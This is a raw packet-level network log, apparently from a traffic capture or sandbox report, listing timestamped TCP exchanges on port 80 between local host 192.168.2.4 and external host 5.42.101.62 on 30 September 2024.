Sep 30, 2024 12:22:33.364732027 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364733934 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364732027 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364767075 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364768982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364787102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364800930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364814043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364834070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364842892 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364866972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364886999 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364901066 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364909887 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364933968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364949942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.364968061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.364984035 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.365003109 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.365017891 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.365037918 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.365044117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.365075111 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.365091085 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.365107059 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.365120888 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.365142107 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.365147114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.365175009 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.365184069 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.365209103 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.365217924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.365242958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.365252018 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.365277052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.365287066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.365312099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.365319967 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.365345001 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.365356922 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.365380049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.365386963 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.365415096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.365422010 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.365449905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.365456104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.365488052 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.365504026 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.365540028 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.447710991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.447751999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.447788000 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.447839975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.447876930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.447915077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.447921991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.447921991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.447921991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.447921991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.447921991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.447968960 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.447985888 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.448003054 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.448019028 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.448036909 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.448056936 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.448076963 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.448108912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.448144913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.448159933 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.448178053 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.448199034 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.448210955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.448215961 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.448259115 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.448280096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.448313951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.448327065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.448347092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.448363066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.448396921 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.448400021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.448440075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.448457956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.448474884 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.448493004 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.448509932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.448530912 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.448544979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.448554039 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.448577881 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.448595047 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.448612928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.448632002 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.448657036 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.448663950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.448698044 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.448714018 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.448731899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.448750019 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.448766947 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.448784113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.448801994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.448807955 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.448836088 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.448848963 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.448867083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.448883057 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.448918104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.448920965 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.448956013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.448971033 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.448988914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.449006081 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.449023008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.449034929 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.449074984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.449084997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.449114084 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.449126959 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.449147940 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.449160099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.449182987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.449199915 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.449232101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.449235916 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.449265957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.449280977 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.449299097 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.449318886 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.449332952 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.449342012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.449383974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.449388981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.449438095 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.449439049 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.449470997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.449486971 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.449506044 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.449522018 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.449538946 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.449544907 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.449573040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.449585915 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.449609041 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.449620962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.449642897 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.449656963 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.449672937 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.449691057 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.449722052 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.449723959 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.449758053 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.449771881 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.449791908 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.449810982 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.449825048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.449840069 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.449862957 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.449881077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.449914932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.449930906 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.449948072 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.449969053 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.449980974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.450001955 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.450015068 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.450026035 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.450047970 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.450064898 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.450078964 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.450086117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.450128078 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.450129986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.450165033 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.450180054 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.450197935 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.450210094 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.450256109 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.450262070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.450298071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.450310946 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.450326920 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.450351000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.450361013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.450368881 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.450397968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.450411081 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.450450897 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.450453043 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.450488091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.450500011 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.450521946 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.450537920 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.450562000 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.450577021 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.450594902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.450617075 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.450628042 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.450634956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.450659990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.450675011 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.450699091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.450712919 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.450752020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.450769901 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.450786114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.450798988 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.450819016 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.450829029 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.450855970 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.450869083 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.450907946 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.450910091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.450958967 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.450958967 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.450994015 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451009035 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451026917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451045990 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451060057 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451066971 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451093912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451108932 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451126099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451143026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451159954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451168060 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451193094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451209068 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451226950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451246977 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451256037 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451268911 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451288939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451319933 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451322079 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451344967 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451350927 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451366901 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451402903 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451421976 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451437950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451452971 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451472998 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451488018 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451507092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451522112 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451541901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451560020 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451576948 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451586008 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451610088 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451622009 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451642990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451664925 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451674938 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451688051 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451708078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451723099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451742887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451756001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451776028 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451786995 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451807976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451824903 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451843023 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451847076 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451875925 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451893091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451909065 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451927900 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451937914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451951027 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.451972008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.451984882 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.452004910 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.452033997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.452042103 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.452052116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.452076912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.452092886 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.452111959 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.452128887 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.452166080 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.534869909 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.534893036 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.534910917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.534980059 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.534995079 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535012007 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535028934 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535104036 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535104036 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535104036 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535124063 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535161972 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535181999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535197020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535212994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535218000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535229921 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535235882 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535247087 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535253048 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535264015 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535265923 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535280943 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535284042 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535303116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535320997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535415888 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535430908 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535449028 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535454988 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535473108 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535479069 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535486937 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535495043 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535510063 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535511971 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535526991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535527945 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535541058 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535578012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535594940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535610914 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535612106 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535628080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535644054 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535648108 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535659075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535661936 CEST	52534	80	192.168.2.4	5.42.101.62
